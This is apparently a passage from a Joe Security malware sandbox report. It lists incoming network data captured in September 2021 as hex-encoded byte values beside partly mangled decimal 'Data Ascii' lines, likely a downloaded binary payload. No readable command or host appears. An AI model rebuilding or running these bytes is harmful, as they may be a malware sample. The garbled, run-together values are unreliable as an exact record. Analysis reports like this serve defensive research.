3320323033 2032313220 3133312031 38372039 3120393220 31 39 33 20 32 33 30 20 31 34 30 20 32 35 33
20 31 34 38 20 31 32 20 31 39 32 20 32 31 35 20 31 36 32 20 32 32 35 20 32 34 30 20 32 32 30 20 36 37 20 34 39 20 33
372033203134 31203230312035312032 3335203439 203137322036 3520393520 3137372031 3039
20 36 36 20 3539 20 31 37 34 20 31 34 36 20 31 34 36 20 35 38 20 39 37 20 31 36 36 20 33 32 20 32 33 34 20 31 34 38
2031 32 352039 32 20 31 36 38 20 34 36 20 32 34 39 20 39 39 20 31 35 36 20 31 36 39 20 33 38 20 32 31 31 20 32 37
2032 3530203231312031373420313131203139352031353320
Data Ascii: 155 181 12 255 104 130 196 8 156 63 203 212 131 187 91 92 193 230 140 253 148 12 192 215 162 225 240
22067 49 37 3 141 201 51 235 49 172 65 95 177 109 66 59 174 146 146 58 97 166 32 234 148 125 92 168 46 249 99 156
169 38 211 27 250 211 174 111 195 153

2021-09-27 18:28:01 UTC 3812 IN Data Raw: 20 31 33 33 20 31 38 30 20 31 30 36 20 39 38 20 31 38 36 20 37 33 20 32 31 32 20 31 36 33 20 38 30 20 32
333220 3532 20 31 31 30 20 34 20 31 33 20 32 30 34 20 31 32 30 20 36 30 20 31 36 30 20 32 30 35 20 31 35 20 31 32
34 20 32 34 36 20 32 33 37 20 32 32 35 20 32 32 38 20 36 32 20 32 35 30 20 33 34 20 33 33 20 31 33 38 20 31 35 39 20
31 36 352034 39 20 36 31 20 32 35 32 20 31 39 39 20 30 20 31 38 34 20 31 31 37 20 33 34 20 32 32 30 20 31 39 39 20
37 3520323430203232382032343020373720313932203732203338203231302032313520313337
2031 34 352038302038 3220 31323320323220313135203136322031 333420393720 313636203136
3320313337 2031373520 3430203537 20323333 20 3536 20 37 39
Data Ascii: 133 180 106 98 186 73 212 163 80 232 52 110 4 13 204 120 60 160 205 15 124 246 237 225 228 62 250 34
33 138 159 165 49 61 252 199 0 184 117 34 220 199 75 240 228 240 77 192 72 38 210 215 137 145 80 82 123 22 115 162
134 97 166 163 137 175 40 57 233 56 79

2021-09-27 18:28:01 UTC 3828 IN Data Raw: 20 31 32 33 20 31 33 34 20 31 33 32 20 35 39 20 31 34 33 20 35 36 20 39 36 20 33 37 20 31 38 37 20 31 34
312034 38 20 32 31 39 20 31 32 38 20 34 31 20 31 33 38 20 38 36 20 31 30 33 20 35 38 20 31 36 39 20 31 31 36 20 31
313820 313220 34312031 313820323433 2032343320343120313131203831203231342031333920
383520313031203534203938203135312031373220323032203132203132322037302039372031
313920 3138332035 30203837 203235203133 3820 383920323030 20313035203137372031373420
37 38 20 34 39 20 32 30 35 20 32 31 34 20 31 39 20 32 34 30 20 34 31 20 34 30 20 39 20 35 39 20 32 35 33 20 31 37 30
20 32 34 30 20 36 3220 32 30 32 20 37 32 20 31 37 35 20 32 20 39 35 20 34
Data Ascii: 123 134 132 59 143 56 96 37 187 141 48 219 128 41 138 86 103 58 169 116 118 12 41 118 243 243 41 111
81214 139 85 101 54 98 151 172 202 12 122 70 97 119 183 50 87 25 138 89 200 105 177 174 78 49 205 214 19 240 41
40959 253 170 240 62202 721752 95 4

2021-09-27 18:28:01 UTC 3844 IN Data Raw: 20 32 37 20 31 33 20 36 38 20 33 39 20 31 30 37 20 31 35 20 31 35 37 20 31 38 35 20 34 37 20 32 31 37 20
36 3020 31 33 30 20 31 33 39 20 31 39 36 20 32 32 37 20 35 38 20 34 38 20 31 33 39 20 32 31 34 20 37 33 20 34 32 20
3136 35 20 31 39 33 20 32 30 20 31 33 32 20 30 20 33 33 20 32 30 31 20 31 31 20 32 31 30 20 30 20 31 35 20 31 37 20
323237203639 203233372039 3320313235 2032353120 353220323620 3235322033312031333120
323039203939 2033 203136312034 38203139 332032342038332032333020313134203732203138
38203134 3720323320 313520393920323030203133332031303220313833203230332032313720
3533 20 31 36 38 20 37 36 20 38 32 20 31 38 20 31 35 30 20 34 35 20 31 33
Data Ascii: 27 13 68 39 107 15 157 185 47 217 60 130 139 196 227 58 48 139 214 73 42 165 193 20 132 0 33 201 11 210
01517 227 69 237 93 125 251 52 26 252 31 131 209 99 3 161 48 193 24 83 230 114 72 188 147 23 15 99 200 133 102
183 203 217 53 168 76 82 18 150 45 13

2021-09-27 18:28:01 UTC 3860 IN Data Raw: 20 37 36 20 31 32 35 20 36 35 20 32 33 32 20 31 36 20 38 38 20 33 34 20 32 33 31 20 32 31 39 20 31 34 37
20 34 35 20 31 38 35 20 38 38 20 33 32 20 31 38 20 32 20 36 34 20 39 39 20 34 34 20 33 31 20 34 39 20 31 35 38 20 33
312031 313820 32 31 31 20 37 33 20 32 32 36 20 31 37 20 32 33 34 20 31 31 31 20 33 36 20 31 33 31 20 37 38 20 32
32 3120 37 20 31 38 30 20 35 35 20 35 20 31 36 39 20 31 31 20 36 38 20 31 32 36 20 32 34 30 20 37 35 20 31 38 38 20
313533203220 31 31 20 31 34 31 20 32 31 36 20 35 37 20 31 39 36 20 37 20 38 38 20 32 35 32 20 32 32 30 20 31 36
37 20 31 30 34 20 32 32 34 20 31 38 34 20 35 31 20 32 33 35 20 36 37 20 39 38 20 31 34 31 20 33 30 20 31 32 34 20 32
30 38 20 31 33 36 20 32 38 20 34 31 20 32 33 33 20 31 32 31 20 31 37 37 20
Data Ascii: 76 125 65 232 16 88 34 231 219 147 45 185 88 32 18 2 64 99 44 31 49 158 31 118 211 73 226 17 234 111 36
131782217 180555 169 11 68 126 240 75 188 153 2 11 141 216 57 196 7 88 252 220 167 104 224 184 51 235 67 98
141 30 124 208 136 28 41 233 121 177

2021-09-27 18:28:01 UTC 3876 IN Data Raw: 20 31 32 31 20 32 35 35 20 36 33 20 31 36 30 20 34 34 20 32 31 39 20 32 34 33 20 36 39 20 31 33 31 20 36
332039 37 20 31 33 39 20 31 38 34 20 31 39 31 20 38 30 20 35 39 20 31 34 31 20 32 33 35 20 3535 20 32 35 35 20 31
313520 31 31 37 20 34 37 20 31 32 33 20 31 30 39 20 37 31 20 36 32 20 31 35 32 20 33 30 20 31 37 35 20 31 37 20 39
322031383020 31 35 31 20 32 34 38 20 31 30 20 35 30 20 31 35 32 20 31 33 37 20 31 33 34 20 32 31 37 20 35 33 20
32 3530 20 31 30 30 20 31 38 34 20 32 31 32 20 31 37 38 20 32 33 39 20 31 37 37 20 35 20 32 30 32 20 34 33 20 31 30
36 20 35 30 20 31 31 38 20 32 33 20 32 33 34 20 32 35 35 20 31 32 20 33 34 20 31 32 30 20 31 31 31 20 32 33 36 20 31
33 3320 32 30 20 32 32 39 20 34 37 20 39 31 20 37 32 20 31 35 35 20 36 39
Data Ascii: 121 255 63 160 44 219 243 69 131 63 97 139 184 191 80 59 141 235 55 255 115 117 47 123 109 71 62 152
30175 17 92 180 151 248 10 50 152 137 134 217 53 250 100 184 212 178 239 177 5 202 43 106 50 118 23 234 255 12 34
120 111 236 133 20 229 47 91 72 155 69

2021-09-27 18:28:01 UTC 3892 IN Data Raw: 20 31 30 39 20 31 34 34 20 32 31 38 20 34 38 20 34 32 20 31 31 37 20 34 38 20 31 31 30 20 31 39 32 20 39
392031 31 38 20 31 37 34 20 31 35 36 20 32 31 31 20 32 30 30 20 31 30 36 20 31 35 32 20 31 31 39 20 35 30 20 35 36
20 35 35 20 32 34 35 20 34 20 31 35 32 20 32 20 31 30 37 20 39 32 20 36 31 20 39 39 20 34 36 20 31 38 20 34 31 20 31
38 39 20 34 34 20 32 35 35 20 36 20 32 30 39 20 32 30 33 20 32 30 20 38 31 20 32 30 31 20 38 30 20 31 39 32 20 34 31
20 31 33 37 20 39 32 20 31 32 31 20 36 38 20 31 32 30 20 32 37 20 32 34 31 20 31 30 38 20 31 38 20 32 3533 20 31 39
3320 39 34 20 31 39 35 20 39 33 20 32 33 20 36 32 20 32 33 33 20 32 30 33 20 32 34 37 20 31 30 31 20 32 32 31 20 31
30 3520 31 32 39 20 38 37 20 32 33 37 20 31 30 37 20 32 30 37 20 31 39 30
Data Ascii: 109 144 218 48 42 117 48 110 192 99 118 174 156 211 200 106 152 119 50 56 55 245 4 152 2 107 92 61 99
46 18 41 189 44 255 6 209 203 20 81 201 80 192 41 137 92 121 68 120 27 241 108 18 253 193 94 195 93 23 62 233 203 2
47 101 221 105 129 87 237 107 207 190

2021-09-27 18:28:01 UTC 3908 IN Data Raw: 20 39 32 20 32 36 20 34 20 38 33 20 36 36 20 32 34 30 20 31 30 32 20 31 35 38 20 31 35 38 20 30 20 31 31
34 2032 34 37 20 32 35 20 32 31 33 20 32 32 37 20 31 33 33 20 32 31 36 20 32 35 35 20 32 32 20 34 39 20 32 34 35 20
313335 20 37 20 32 31 35 20 31 35 36 20 38 31 20 32 30 35 20 31 35 34 20 39 38 20 31 30 31 20 31 37 20 39 34 20 39
3320 33 3320 35 39 20 31 39 30 20 31 32 32 20 36 38 20 32 31 34 20 32 30 20 31 38 37 20 32 31 34 20 37 37 20 33 38
20 31 3337 20 31 31 34 20 31 35 30 20 32 35 33 20 31 35 37 20 32 31 20 31 39 39 20 33 20 31 37 37 20 35 38 20 37 37
20 32 31 39 20 31 32 36 20 32 34 39 20 34 20 32 20 31 38 34 20 31 39 32 20 37 20 31 33 32 20 39 35 20 31 37 38 20 31
34 332039 35 20 37 20 31 31 20 31 34 35 20 32 34 33 20 31 34 20 31 31 32
Data Ascii: 92 26 4 83 66 240 102 158 158 0 114 247 25 213 227 133 216 255 22 49 245 1357 215 156 81 205 154 98
101 17 94 93 33 59 190 122 68 214 20 187 214 77 38 137 114 150 253 157 21 199 3 177 58 77 219 126 249 4 2 184 192
713295178 143957 11 145 243 14 112
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2021-09-27 18:28:01 UTC 3924 IN Data Raw: 20 32 30 34 20 31 34 32 20 31 37 32 20 31 35 36 20 31 38 30 20 32 33 33 20 31 35 34 20 36 32 20 32 34 20
3138332031 37 31 20 32 35 33 20 31 35 39 20 39 38 20 31 35 31 20 31 38 20 35 36 20 32 35 34 20 32 30 30 20 32 34
37 20 34 38 20 31 35 31 20 32 34 35 20 38 31 20 38 38 20 33 30 20 31 38 32 20 32 33 36 20 31 39 32 20 31 38 32 20 32
3032203820 3130352031 323820393020 313534203234 32203234 362032353220 31363220323532
203120313532203230362034352039392031323720313435203231332031372032323920323132
2032 31392039 36 20 32 33 37 20 37 38 20 37 30 20 32 30 37 20 33 35 20 31 38 20 32 20 31 34 33 20 38 36 20 32 30
342031 33322038392031322031373720323137203137332031
Data Ascii: 204 142 172 156 180 233 154 62 24 183 171 253 159 98 151 18 56 254 200 247 48 151 245 81 88 30 182 236
192 182 202 8 105 128 90 154 242 246 252 162 252 1 152 206 45 99 127 145 213 17 229 212 219 96 237 78 70 207 35
182143 86 204 1328912177217 1731

2021-09-27 18:28:01 UTC 3940 IN Data Raw: 32 20 31 34 31 20 31 36 34 20 34 30 20 31 39 35 20 37 35 20 31 30 20 33 33 20 32 30 30 20 32 32 37 20 32
392038 37 20 37 20 31 36 20 32 35 33 20 31 32 38 20 31 31 36 20 31 37 32 20 31 33 39 20 36 32 20 35 32 20 35 37 20
3138 31 20 32 33 31 20 38 35 20 32 31 31 20 31 30 33 20 39 20 31 36 33 20 31 34 34 20 32 33 30 20 31 39 30 20 31 31
302032312039 20 31303220 392031383520 32313620 313220323320 34332036 38 20 31 3534 20 31 36
312038322031 382036322034 3420323120313935203137 3420313439 2031363720323337203134
352031 303320313630 203120313333203136392032323620313038 2031 30362031363820323133
20 31 39 3520 38 33 20 34 30 20 33 20 32 35 30 20 34 20 31 31 37 20 31 37
Data Ascii: 2 141 164 40 195 75 10 33 200 227 29 87 7 16 253 128 116 172 139 62 52 57 181 231 85 211 103 9 163 144
230190 110219 102 9 185 216 12 23 43 68 154 161 82 18 62 44 21 195 174 149 167 237 145 103 160 1 133 169 226
108 106 168 213 195 83 40 3 250 4 117 17

2021-09-27 18:28:01 UTC 3956 IN Data Raw: 20 33 35 20 31 32 39 20 31 30 20 34 39 20 31 32 37 20 31 35 39 20 35 30 20 31 38 36 20 32 34 39 20 32 32
20323230 20 32 31 38 20 31 39 36 20 37 36 20 31 34 33 20 31 33 38 20 32 32 37 20 32 33 39 20 31 30 34 20 38 30 20
3936 20 31 39 34 20 31 34 20 31 39 30 20 31 35 30 20 31 33 31 20 31 38 33 20 32 33 35 20 38 37 20 35 33 20 31 39 20
32 353320353220 31323620 313939203320 37362032 353020313520323335203520323337203135
2031 37 332032 3334203234 382038392034 37203138392031383320383420323220323432203135
392034 302031372036 37203137 372031383820 36332038 332031383120 36302032343220373520
313236203537 20323238203139392031313720313234203138
Data Ascii: 35 129 10 49 127 159 50 186 249 22 220 218 196 76 143 138 227 239 104 80 96 194 14 190 150 131 183 235
87 53 19 253 52 126 199 3 76 250 15 235 5 237 15 173 234 248 89 47 189 183 84 22 242 159 40 17 67 177 188 63 83 181
60 242 75 126 57 228 199 117 124 18

2021-09-27 18:28:01 UTC 3972 IN Data Raw: 20 31 30 30 20 31 33 37 20 31 30 32 20 31 37 31 20 31 38 38 20 34 37 20 31 35 35 20 39 30 20 32 30 31 20
3138332031 302031 3439203136 3320 31 38 36 20 31 33 32 20 31 30 20 33 37 20 32 35 20 31 38 37 20 31 32 20
3520 32 31 3520 33 34 20 34 31 20 38 31 20 34 31 20 36 33 20 31 30 20 38 37 20 31 20 31 34 38 20 32 31 37 20 32 32
36 20 31 31 3520 31 33 32 20 33 36 20 32 34 20 36 38 20 31 37 34 20 31 31 38 20 31 36 39 20 32 34 36 20 32 33 34 20
3137 33203139 36 20 36 34 20 31 37 32 20 38 33 20 31 37 39 20 36 36 20 36 31 20 32 34 34 20 31 38 39 20 33 36 20
3137 36 20 33 20 32 30 36 20 35 31 20 32 39 20 32 32 32 20 33 32 20 37 39 20 31 37 31 20 32 35 31 20 31 36 39 20 33
3720 39 38 20 32 34 37 20 31 31 38 20 31 35 30 20 32 34 39 20 32 33 36 20
Data Ascii: 100 137 102 171 188 47 155 90 201 183 10 149 163 186 132 10 37 25 187 1252153441 8141631087 1
148 217 226 115 132 36 24 68 174 118 169 246 234 173 196 64 172 83 179 66 61 244 189 36 176 3 206 51 29 222 32 79
171 251 169 37 98 247 118 150 249 236

2021-09-27 18:28:01 UTC 3988 IN Data Raw: 31 20 32 33 37 20 37 34 20 34 34 20 32 32 34 20 38 30 20 31 37 34 20 31 32 37 20 31 32 33 20 31 33 32 20
383320 31 35 32 20 32 32 32 20 32 33 36 20 31 36 30 20 31 38 32 20 31 32 31 20 34 37 20 32 32 38 20 35 30 20 31 34
3520 31 38 3220 37 33 20 33 38 20 39 20 37 37 20 32 35 32 20 31 30 33 20 34 37 20 32 35 35 20 32 38 20 31 32 39 20
36 33 20 31 20 32 32 20 32 30 38 20 31 36 38 20 34 39 20 32 33 37 20 31 35 37 20 32 31 33 20 32 31 20 36 30 20 31 36
36 20 32 35 32 20 32 35 30 20 33 30 20 33 20 31 34 34 20 31 32 31 20 31 32 32 20 33 20 32 34 38 20 37 20 31 32 30 20
313120 35322031 322032323020 313932203232 322031 313520322033 3120 31 34 39 20 31 38 32 20 32
30 36 20 31 31 39 20 31 38 37 20 32 33 20 33 38 20 31 35 35 20 34 30 20 31
Data Ascii: 1 237 74 44 224 80 174 127 123 132 83 152 222 236 160 182 121 47 228 50 145 182 73 38 9 77 252 103 47
25528 129 63 1 22 208 168 49 237 157 213 21 60 166 252 250 30 3 144 121 122 3 248 7 120 11 52 12 220 192 222 115
231149 182 206 119 187 2338 15540 1

2021-09-27 18:28:01 UTC 4004 IN Data Raw: 35 35 20 33 34 20 33 39 20 31 30 30 20 31 38 30 20 32 31 34 20 35 30 20 31 39 20 37 37 20 32 33 36 20 39
332031 33 36 20 31 36 31 20 31 38 32 20 31 33 20 32 32 30 20 32 35 30 20 31 30 32 20 31 31 36 20 32 34 31 20 35 33
20 31 34 35 20 35 33 20 36 31 20 31 38 30 20 33 30 20 32 34 37 20 32 35 30 20 32 31 32 20 31 34 36 20 31 34 33 20 31
38 38 20 31 33 39 20 32 34 39 20 32 34 33 20 33 37 20 34 39 20 31 31 33 20 39 39 20 33 34 20 31 36 35 20 34 39 20 31
34 38 20 35 33 20 31 37 20 34 33 20 31 35 35 20 31 31 34 20 36 31 20 32 32 36 20 32 31 39 20 31 31 37 20 34 36 20 31
333520 36 31 20 31 35 33 20 31 31 30 20 31 35 37 20 31 35 39 20 31 35 37 20 31 34 37 20 38 30 20 31 35 33 20 33 33
2032 3532203132312032333820353320313131203231302031
Data Ascii: 55 34 39 100 180 214 50 19 77 236 93 136 161 182 13 220 250 102 116 241 53 145 53 61 180 30 247 250 212
146 143 188 139 249 243 37 49 113 99 34 165 49 148 53 17 43 155 114 61 226 219 117 46 135 61 153 110 157 159 157
147 80 153 33 252 121 238 53 111 210 1

2021-09-27 18:28:01 UTC 4020 IN Data Raw: 39 20 32 35 33 20 34 37 20 32 35 32 20 32 33 37 20 31 35 32 20 34 31 20 31 31 32 20 38 34 20 35 36 20 31
34 3020 31 32 38 20 32 20 34 31 20 33 31 20 32 39 20 31 33 39 20 31 38 31 20 31 36 33 20 31 30 34 20 31 33 31 20 32
30 20 33 30 20 32 30 36 20 34 39 20 35 32 20 39 35 20 31 33 36 20 34 31 20 32 34 36 20 39 38 20 31 38 33 20 32 32 35
20 34 34 20 34 35 20 31 35 35 20 32 35 20 32 31 38 20 31 31 33 20 35 20 31 30 36 20 32 32 35 20 32 31 37 20 31 35 38
2032 31 32 20 31 37 38 20 31 36 20 32 35 32 20 32 37 20 35 35 20 31 30 31 20 37 38 20 39 39 20 35 20 31 33 34 20 38
3220 31 38 39 20 31 38 36 20 32 34 39 20 31 38 32 20 35 37 20 31 39 37 20 31 34 31 20 32 34 36 20 31 39 39 20 32 36
20 30 20 31 38 39 20 33 20 32 34 20 31 36 36 20 39 31 20 31 33 20 31 34 38
Data Ascii: 9 253 47 252 237 152 41 112 84 56 140 128 2 41 31 29 139 181 163 104 131 20 30 206 49 52 95 136 41 246
98 183 225 44 45 155 25 218 113 5 106 225 217 158 212 178 16 252 27 55 101 78 99 5 134 82 189 186 249 182 57 197
141 246 199 26 0 189 3 24 166 91 13 148

2021-09-27 18:28:01 UTC 4036 IN Data Raw: 36 35 20 31 37 36 20 32 32 34 20 31 34 36 20 31 31 20 32 30 20 34 20 32 31 30 20 31 35 32 20 33 37 20 32

333220 32 31 33 20 32 33 38 20 35 31 20 31 38 38 20 34 38 20 32 35 35 20 32 34 20 32 32 20 31 35 36 20 35 35 20 33
36 20 31 36 39 20 39 30 20 31 31 36 20 31 35 37 20 31 31 38 20 31 32 35 20 32 33 37 20 39 31 20 31 30 36 20 38 35 20
38 32 20 34 39 20 37 37 20 31 38 34 20 31 38 37 20 31 38 35 20 37 39 20 38 30 20 32 35 33 20 31 36 38 20 31 39 38 20
313530 20 31 33 35 20 31 30 32 20 37 37 20 31 36 34 20 31 32 38 20 31 39 34 20 31 37 37 20 31 37 36 20 31 39 20 32
3339 20 31 33 30 20 31 30 31 20 31 35 20 32 35 31 20 33 31 20 31 36 39 20 32 33 34 20 36 36 20 31 33 38 20 32 32 38
20 31 30 37 20 31 33 37 20 31 37 39 20 39 32 20 31 39 39 20 32 36 20 31 30

Data Ascii: 65 176 224 146 11 20 4 210 152 37 232 213 238 51 188 48 255 24 22 156 55 36 169 90 116 157 118 125 237
91 106 85 82 49 77 184 187 185 79 80 253 168 198 150 135 102 77 164 128 194 177 176 19 239 130 101 15 251 31 169
234 66 138 228 107 137 179 92 199 26 10
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2021-09-27 18:28:01 UTC 4052

2021-09-27 18:28:01 UTC 4068

2021-09-27 18:28:01 UTC 4084

2021-09-27 18:28:01 UTC 4100

2021-09-27 18:28:01 UTC 4116

2021-09-27 18:28:01 UTC 4132

2021-09-27 18:28:01 UTC 4148

2021-09-27 18:28:01 UTC 4164

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 32 20 31 32 36 20 31 30 38 20 37 32 20 32 38 20 33 31 20 31 38 34 20 31 30 30 20 31 30 37 20 31 37 31 20
32 34 33 20 38 30 20 36 20 32 34 30 20 31 34 20 35 20 38 32 20 31 38 38 20 39 36 20 32 33 36 20 31 35 32 20 31 33 30
2032 30 31 20 31 37 39 20 37 31 20 37 37 20 35 35 20 34 32 20 31 30 34 20 31 35 30 20 32 34 20 34 39 20 31 32 20 31
36 36 20 31 39 3520 32 31 33 20 31 38 31 20 31 31 31 20 32 34 38 20 32 32 32 20 32 33 34 20 38 31 20 36 33 20 33 33
2032 333220323220313938203133372031312036203231392039 38203137 362032313320323432
2037 30203136332032342037322031373820333120313335203132302031382037312038372031
37 3320 32 33 34 20 39 35 20 32 32 34 20 35 20 31 36 30 20 31 31 37 20 31

Data Ascii: 2 126 108 72 28 31 184 100 107 171 243 80 6 240 14 5 82 188 96 236 152 130 201 179 71 77 55 42 104 150
24 4912 166 195 213 181 111 248 222 234 81 63 33 232 22 198 137 11 6 219 98 176 213 242 70 163 24 72 178 31 135
12018 7187 173 234 95 224 5160 117 1

Data Raw: 20 33 30 20 32 34 37 20 32 30 30 20 38 39 20 31 30 33 20 32 33 37 20 32 32 20 31 32 37 20 31 35 38 20 31
36 30 20 36 37 20 38 35 20 31 38 30 20 34 31 20 32 32 34 20 32 34 33 20 31 30 35 20 32 35 33 20 32 33 20 32 32 20 32
33 3320 34 20 31 35 35 20 32 35 31 20 31 36 35 20 35 31 20 32 32 30 20 38 34 20 34 20 36 30 20 31 32 31 20 32 30 30
2032 33352032 31 3020 38 33 20 36 37 20 32 33 30 20 31 38 31 20 36 37 20 32 20 32 35 20 33 38 20 38 32 20 38 32
2031 312031383020 31343920 313139203438 203233382031 343520323620 37 3420 36 3020 32 35 34
2032 353220313632 203134352034 2034392036 2032303420313734203231302031392031383720
3231 3520323231203234332031323420323130203137372032

Data Ascii: 30 247 200 89 103 237 22 127 158 160 67 85 180 41 224 243 105 253 23 22 233 4 155 251 165 51 220 84 4
60 121 200 235 210 83 67 230 181 67 2 25 38 82 82 11 180 149 119 48 238 145 26 74 60 254 252 162 145 4 49 6 204
174 210 19 187 215 221 243 124 210 177 2

Data Raw: 34 20 33 20 39 35 20 32 35 34 20 31 32 20 31 20 30 20 33 32 20 30 20 30 20 30 20 30 20 32 35 34 20 31 20

39 3520 32 35 34 20 31 37 20 31 31 36 20 35 30 20 30 20 30 20 31 20 34 30 20 31 36 20 30 20 30 20 31 30 20 32 32 31
20 31 35 33 20 32 35 35 20 32 35 35 20 32 35 35 20 33 32 20 35 31 20 30 20 31 30 20 31 32 38 20 34 30 20 31 37 20 30
203020313020 31 323220323534 20313220 31 20 30 20 35 37 20 36 20 30 20 30 20 30 20 34 30 20 31 34 20 30
203020 313020302034 322031 203136203020 3020 3120 3020 36203020 31 39 3020 32 333020302031
3520 31 39 36 20 30 20 30 20 30 20 32 37 20 34 38 20 31 31 20 30 20 39 35 20 32 20 30 20 30 20 39 20 30 20 30 20 31
3720 31 34 30 20 34 35 20 30 20 30 20 31 20 30 20 30 20 34 30 20 31 34 20

Data Ascii: 4395254121 0320000254195 254171165000 140 16 00 10 221 153 255 255 255 32 51 0 10 128

4017001012225412105760004014001004211600106019023001519600027481109520090
01714045001004014

Data Raw: 20 35 36 20 31 32 30 20 36 20 30 20 30 20 30 20 30 20 33 32 20 32 30 20 30 20 30 20 30 20 32 35 34 20 31

3420332030 20 31 31 34 20 31 31 37 20 34 20 34 20 31 31 32 20 31 31 34 20 32 33 39 20 33 20 34 20 31 31 32 20 34
3020 32 3520 30 20 30 20 36 20 31 31 34 20 32 34 31 20 33 20 34 20 31 31 32 20 33 32 20 30 20 30 20 30 20 30 20 34
3020 37 30 20 30 20 30 20 31 30 20 33 32 20 30 20 30 20 30 20 30 20 32 35 34 20 31 20 32 35 34 20 31 34 20 31 32 20
3020 32 353420 31 32 20 31 32 20 30 20 35 37 20 32 34 20 30 20 30 20 30 20 33 32 20 32 31 20 30 20 30 20 30 20 32
3534 20 31 34 20 33 20 30 20 33 32 20 31 20 30 20 30 20 30 20 32 35 34 20 31 34 20 30 20 30 20 35 36 20 33 36 20 36
20 30 20 30 20 30 20 30 20 33 32 20 32 33 20 30 20 30 20 30 20 32 35 34 20

Data Ascii: 56 120600003220000254143011411744112114239341124025006114241341123200
0040700010320000254125414120254121205724000322100025414303210002541400 5636
600003223000 254

Data Raw: 30 20 36 39 20 32 20 30 20 30 20 30 20 30 20 30 20 30 20 30 20 31 36 32 20 32 35 35 20 32 35 35 20 32 35
352032 32 31 20 34 39 20 30 20 30 20 30 20 31 31 37 20 35 30 20 30 20 30 20 31 20 32 30 20 32 35 34 20 33 20 32 35
3420 31 32 20 31 20 30 20 33 32 20 30 20 30 20 30 20 30 20 32 35 34 20 33 20 39 35 20 32 35 34 20 31 32 20 32 20 30
20 33 32 20 30 20 30 20 30 20 30 20 32 35 34 20 31 20 39 35 20 32 35 34 20 31 37 20 31 31 36 20 35 30 20 30 20 30 20
31 20 34 30 20 31 36 20 30 20 30 20 31 30 20 32 32 31 20 31 35 33 20 32 35 35 20 32 35 35 20 32 35 35 20 33 32 20 35
3120 30 20 31 30 20 31 32 38 20 34 30 20 31 37 20 30 20 30 20 31 30 20 31 32 32 20 32 35 34 20 31 32 20 32 20 30 20
35 37 20 36 20 30 20 30 20 30 20 34 30 20 31 34 20 30 20 30 20 31 30 20 30

Data Ascii: 06920000000 162 255 255 25522149000117500012025432541210320000 2543952541
2203200002541952541711650001401600 10221 153 255 255 2553251 010 128 40 17 0 0 10 122 254 12
20576000401400100

Data Raw: 32 20 33 20 30 20 30 20 30 20 33 31 20 39 39 20 31 35 37 20 33 37 20 32 35 20 33 31 20 35 34 20 31 35 37

20 33 37 20 33 32 20 32 20 30 20 30 20 30 20 33 31 20 39 38 20 31 35 37 20 33 37 20 33 32 20 32 20 30 20 30 20 30 20
3331 20 3534 20 31 35 37 20 33 37 20 33 32 20 32 20 30 20 30 20 30 20 33 31 20 35 37 20 31 35 37 20 33 37 20 32 34
20 33 312031 31 39 20 31 35 37 20 33 37 20 33 32 20 31 20 30 20 30 20 30 20 33 31 20 39 37 20 31 35 37 20 33 37 20
333220 31 20 30 20 30 20 30 20 33 31 20 31 30 30 20 31 35 37 20 33 37 20 33 32 20 31 20 30 20 30 20 30 20 33 31 20
39 37 20 31 35 37 20 33 37 20 32 33 20 33 31 20 31 31 31 20 31 35 37 20 33 37 20 33 32 20 30 20 30 20 30 20 30 20 33
3120 39 39 20 31 35 37 20 33 37 20 33 32 20 30 20 30 20 30 20 30 20 33 31

Data Ascii: 2300 03199 157 37 253154 1573732200031 98 1573732200031 54 1573732200 031 57 157
37243111915737321000319715737321000311001573732100031971573723311111573732000
031991573732000031

Data Raw: 31 30 20 35 38 20 31 36 38 20 32 35 35 20 32 35 35 20 32 35 35 20 32 32 31 20 31 39 20 30 20 30 20 30 20

32 3534 20 31 32 20 33 20 30 20 35 37 20 39 20 30 20 30 20 30 20 32 35 34 20 31 32 20 33 20 30 20 31 31 31 20 33 34
20 30 20 30 20 31 30 20 32 32 30 20 32 35 34 20 31 32 20 30 20 30 20 33 32 20 34 31 20 30 20 30 20 30 20 31 31 31 20
32 30 39 20 30 20 30 20 31 30 20 33 38 20 32 35 34 20 31 32 20 30 20 30 20 31 31 31 20 31 39 20 30 20 30 20 31 30 20
34 32 20 31 20 31 36 20 30 20 30 20 32 20 30 20 39 34 20 30 20 39 38 20 31 39 32 20 30 20 31 39 20 30 20 30 20 30 20
30 20 31 39 20 34 38 20 32 20 30 20 32 35 32 20 30 20 30 20 30 20 34 35 20 30 20 30 20 31 37 20 32 35 34 20 39 20 31
20 30 20 34 30 20 31 39 30 20 30 20 30 20 31 30 20 32 35 34 20 31 34 20 30

Data Ascii: 10 58 168 255 255 255221 19000254 123057900025412301113400102202541200324100
011120900103825412001111900104211600209409819201900001948202520004500 17 254
9104019000 10254140

Data Raw: 39 20 31 31 37 20 32 20 38 36 20 31 32 38 20 39 31 20 35 38 20 31 31 37 20 32 20 38 36 20 31 32 38 20 31
39 2039 38 20 31 31 37 20 32 20 38 36 20 31 32 38 20 34 37 20 31 31 37 20 31 31 37 20 32 20 38 36 20 31 32 38 20 31
3539 20 31 33 31 20 31 31 37 20 32 20 38 36 20 31 32 38 20 31 36 30 20 31 31 35 20 31 31 37 20 32 20 38 36 20 31 32
38 20 31 36 33 20 31 34 35 20 31 31 37 20 32 20 38 36 20 31 32 38 20 31 33 37 20 35 38 20 31 31 37 20 32 20 38 36 20
3132 3820 39 35 20 31 33 37 20 31 31 37 20 32 20 38 36 20 31 32 38 20 35 37 20 34 31 20 31 31 37 20 32 20 38 36 20
31323820 31 38 30 20 31 32 39 20 31 31 37 20 32 20 38 36 20 31 32 38 20 31 34 33 20 38 32 20 31 31 37 20 32 20 38
36 20 31 32 38 20 32 31 30 20 36 37 20 31 31 37 20 32 20 38 36 20 31 32 38

Data Ascii: 9 117 2 86 128 9158 117 2 86 128 1998 117 2 86 128 47 117 117 2 86 128 159 131 117 2 86 128 160 115
117 286 128 163 145 117 286 128 137 58 117 2 86 128 95 137 117 286 128 57 41 117 2 86 128 180 129 117 2 86 128
14382117 286 128 210 67 117 286 128
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2021-09-27 18:28:01 UTC 4180

2021-09-27 18:28:01 UTC 4196

2021-09-27 18:28:01 UTC 4212

2021-09-27 18:28:01 UTC 4228

2021-09-27 18:28:01 UTC 4244

2021-09-27 18:28:01 UTC 4260

2021-09-27 18:28:01 UTC 4276

2021-09-27 18:28:01 UTC 4292

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 37 32 20 31 38 20 31 31 33 20 30 20 36 35 20 31 20 31 37 32 20 31 38 20 31 31 33 20 30 20 37 33 20 31 20
3137322031 382031 313320302038 312031 203137322031 38203233 332031332039 372031203137
